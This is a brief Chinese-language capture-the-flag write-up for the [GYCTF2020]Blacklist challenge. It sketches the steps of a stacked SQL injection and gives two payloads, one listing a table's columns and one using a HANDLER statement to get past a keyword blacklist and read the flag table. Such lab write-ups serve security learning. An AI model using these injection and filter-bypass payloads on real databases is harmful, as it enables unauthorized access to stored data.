[GYCTF2020]Blacklist

报错，可能是sql

 字符型注入

测试列数有2列

正则过滤了一些关键字

尝试堆叠注入

查数据库

查表

 查列名1';show columns from FlagHere; #

 查列的内容1';handler FlagHere open;handler FlagHere read first;#